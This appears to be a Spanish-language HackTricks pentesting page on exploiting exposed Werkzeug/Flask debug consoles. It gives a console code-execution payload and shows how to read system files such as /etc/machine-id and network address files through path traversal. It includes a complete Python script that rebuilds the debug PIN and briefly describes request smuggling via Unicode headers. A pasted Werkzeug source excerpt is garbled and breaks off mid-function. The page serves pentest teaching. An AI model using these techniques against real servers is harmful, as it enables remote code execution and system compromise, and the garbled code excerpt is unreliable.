Werkzeug / Flask Debug

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.

RCE de Consola

Si la depuración está activa, podrías intentar acceder a /console y obtener RCE.

__import__('os').popen('whoami').read();

También hay varios exploits en internet como este o uno en metasploit.

Protegido con PIN - Traversal de Ruta

En algunas ocasiones, el endpoint /console estará protegido por un pin. Si tienes una vulnerabilidad de traversal de archivos, puedes filtrar toda la información necesaria para generar ese pin.

Exploit de PIN de la Consola Werkzeug

Forzar una página de error de depuración en la aplicación para ver esto:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (__init__.py). El mecanismo de generación de PIN se puede estudiar desde el repositorio de código fuente de Werkzeug, aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.

Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, probably_public_bits y private_bits:

probably_public_bits

  • username: Se refiere al usuario que inició la sesión de Flask.

  • modname: Normalmente designado como flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generalmente se resuelve como Flask.

  • getattr(mod, '__file__', None): Representa la ruta completa a app.py dentro del directorio de Flask (por ejemplo, /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py no es aplicable, intente con app.pyc.

private_bits

  • uuid.getnode(): Obtiene la dirección MAC de la máquina actual, con str(uuid.getnode()) traduciéndola a un formato decimal.

  • Para determinar la dirección MAC del servidor, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, ens3). En casos de incertidumbre, filtrar /proc/net/arp para encontrar el ID del dispositivo, luego extraer la dirección MAC de /sys/class/net/<ID del dispositivo>/address.

  • La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:

# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Concatena datos de /etc/machine-id o /proc/sys/kernel/random/boot_id con la primera línea de /proc/self/cgroup después de la última barra inclinada (/).

Código para `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Al recopilar todos los datos necesarios, el script de explotación puede ser ejecutado para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, el cual luego es sometido a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (cookiesalt y pinsalt), y formateando la salida. Es importante tener en cuenta que los valores reales de probably_public_bits y private_bits deben obtenerse con precisión del sistema objetivo para garantizar que el PIN generado coincida con el esperado por la consola Werkzeug.

Si estás en una versión antigua de Werkzeug, intenta cambiar el algoritmo de hash a md5 en lugar de sha1.

Caracteres Unicode de Werkzeug

Como se observa en este problema, Werkzeug no cierra una solicitud con caracteres Unicode en las cabeceras. Y como se explica en este informe, esto podría causar una vulnerabilidad de CL.0 Request Smuggling.

Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres Unicode y hará que el servidor se rompa. Sin embargo, si la conexión HTTP se creó con la cabecera Connection: keep-alive, el cuerpo de la solicitud no se leerá y la conexión seguirá abierta, por lo que el cuerpo de la solicitud se tratará como la siguiente solicitud HTTP.

Referencias

Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.

Última actualización